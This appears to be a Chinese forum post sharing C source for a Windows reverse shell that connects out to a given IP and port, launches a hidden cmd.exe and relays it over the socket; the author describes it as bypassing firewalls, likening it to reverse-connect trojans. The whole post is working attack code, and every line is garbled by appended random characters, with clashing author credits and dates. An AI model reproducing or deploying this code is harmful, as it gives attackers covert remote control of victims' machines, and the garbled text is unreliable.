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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zP9 !fA  
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/* ============================== llzl-2` /  
Rebound port in Windows NT #lO;G k{  
By wind,2006/7 7XNfH@  
===============================*/ "hfwj`U  
#include I9 E@2[=!  
#include &a`-NRU#  
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#pragma comment(lib,"wsock32.lib") OH~t\fQ1Zf  
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void OutputShell(); *s^5 BLI9  
SOCKET sClient; ZZTV >:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =BtEduz  
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void main(int argc,char **argv) F!xK#~e   
{ _W;u Qg']  
WSADATA stWsaData; aqB^  %e  
int nRet; 0e7!_ /9  
SOCKADDR_IN stSaiClient,stSaiServer; "#7i-?=  
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if(argc != 3) Ol? 2Qy.2)  
{ +FiV!nRkZ  
printf("Useage:\n\rRebound DestIP DestPort\n"); n'ro5D  
return; DB0xIP~i,?  
} G<-.{Gx)  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0pR04"`;  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); SCjACQ}-  
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stSaiClient.sin_family = AF_INET; "rXGXQu  
stSaiClient.sin_port = htons(0); *=v RX!sI,  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?sO_c3^7z  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9K49<u0O  
{ c_iF S  
printf("Bind Socket Failed!\n"); \c]/4C +/  
return; & zG=  
} ;[xDc>&("Q  
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stSaiServer.sin_family = AF_INET; SBEJ@&iB~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); BjH(E'K[b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  en   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >eC^]#c  
{ bfJDF(=h  
printf("Connect Error!"); /EC m  
return; _ReQQti[  
} "K8qmggTq  
OutputShell(); 0h7\zoZ5  
} 1)r1/0  
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void OutputShell() Cxh9rUe.  
{ V><P`  
char szBuff[1024]; y?rsfIth`  
SECURITY_ATTRIBUTES stSecurityAttributes; +LUL-d  
OSVERSIONINFO stOsversionInfo; 6?_Uow}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0`x<sjG\q  
STARTUPINFO stStartupInfo; g9gyWz  
char *szShell; b,c vQD  
PROCESS_INFORMATION stProcessInformation; L$b9|j7  
unsigned long lBytesRead; 78X;ZMY  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _uBf.Qfs  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &~k/G  
stSecurityAttributes.lpSecurityDescriptor = 0; D\k);BU~  
stSecurityAttributes.bInheritHandle = TRUE; Ki'EO$  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q%JV"9,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YFW+l~[#  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); YB 4R8}4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q)P<lKi  
stStartupInfo.wShowWindow = SW_HIDE; $/D@=P kc  
stStartupInfo.hStdInput = hReadPipe; _ pJU~8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 7.5G4  
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GetVersionEx(&stOsversionInfo); ^)SvH  
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switch(stOsversionInfo.dwPlatformId) ZQyT$l~b  
{ J|ILG  
case 1: eSvu:euv  
szShell = "command.com"; eZUK<&0x5  
break; ULoTPx@N  
default: .z_^_@qdm  
szShell = "cmd.exe"; 'aCnj8B  
break; _-D(N/  
} ic3qb<2  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (Q @m;i>  
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send(sClient,szMsg,77,0); M0^r!f>O  
while(1) 0]"j,  
{ ~[[a7$_4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); .$q]<MK8  
if(lBytesRead) `dj/Uk  
{ XL +kEZ|3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M5<5 (l  
send(sClient,szBuff,lBytesRead,0); rp _G.C  
} X=DJOepH'  
else L\b$1U!i  
{ UP,(zKTA  
lBytesRead=recv(sClient,szBuff,1024,0); 7ed*dXY*  
if(lBytesRead<=0) break; =B; )h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); M HgS5b2  
} ^m5{:\ Xk  
}  1 ft. ZJ  
1s*I   
return; ftK.jj1:  
}
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